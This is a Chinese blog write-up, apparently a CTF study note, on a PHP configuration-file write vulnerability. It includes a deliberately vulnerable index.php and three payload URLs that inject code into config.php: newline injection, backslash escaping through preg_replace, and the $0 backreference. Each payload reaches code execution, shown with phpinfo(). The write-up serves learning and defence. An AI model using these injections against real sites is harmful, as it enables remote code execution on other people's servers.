PHP配置文件写入漏洞

/ 0评 / 0

在刷题的偶然间看到一个师傅对一个经典的PHP配置文件写入漏洞的复现,自己也跟着学习了一下,顺便对其进行总结。

0x01环境准备

index.php

<?php
if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);

config.php

<?php
$option='test';

0x02 绕过

①,利用换行符绕过正则匹配

在正则中,匹配到的是以下内容

$option='任意内容'

任意内容中包含 转义符\  ,因此我们可以用以下方法

首先执行

http://localhost/test/index.php?option=a';%0aphpinfo();//

此时 config.php 中的内容变成

<?php
$option='a\';
phpinfo();//';

但是这样并不能让我们执行 phpinfo() ,因为我们插入的单引号被转义掉了,所以 phpinfo() 其实还在单引号内部。

接着我们执行

http://localhost/test/index.php?option=a

因为 正则  .* 会匹配行内的字符无数次。因此 \ 也会被认为是其中的一部分,也会被替换掉

此时 config.php 中的内容为

<?php
$option='a';
phpinfo();//';

这样的话我们就成功 getshell 了

②利用 preg_replace  函数

用 preg_replace() 的时候,replacement中的第二个参数也要经过正则引擎处理,也就是说,如果字符串是 \\\' ,经过 preg_place() 的处理后,就变成了 \\' ,单引号就被逃出

输入paylaod

http://localhost/test/index.php?option=a\';phpinfo();//

这样 config.php 的内容就变为

<?php
$option='a\\';phpinfo();//';

原理在于, a\';phpinfo();//  经过 add slashes() 处理后变成了 a\\\';phpinfo();// 然后两个反斜杠被 preg_replace 替换成了一个,导致单引号逃脱

③利用 preg_replace 函数第二个参数

PHP preg_replace() 函数
preg_replace 函数执行一个正则表达式的搜索和替换

语法
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

返回值
如果 subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串。
如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。
replacement 中可以包含后向引用 \\n 或者 $n,语法上首选后者。每个这样的引用将被匹配到第n个捕获子组捕获到的文本替换。n可以是 0-99,\\n 和 $0 代表完整的模式匹配文本

因此,我们首先执行

http://localhost/test/index.php?option=;phpinfo();

此时 config.php 中的内容为

<?php
$option=';phpinfo();';

接着我们执行

http://localhost/test/index.php?option=$0

此时执行了的 config.php 的结果为

<?php
$option='$option=';phpinfo();';';

phpinfo(); 两端单引号闭合,成功逃出绕过

发表评论

邮箱地址不会被公开。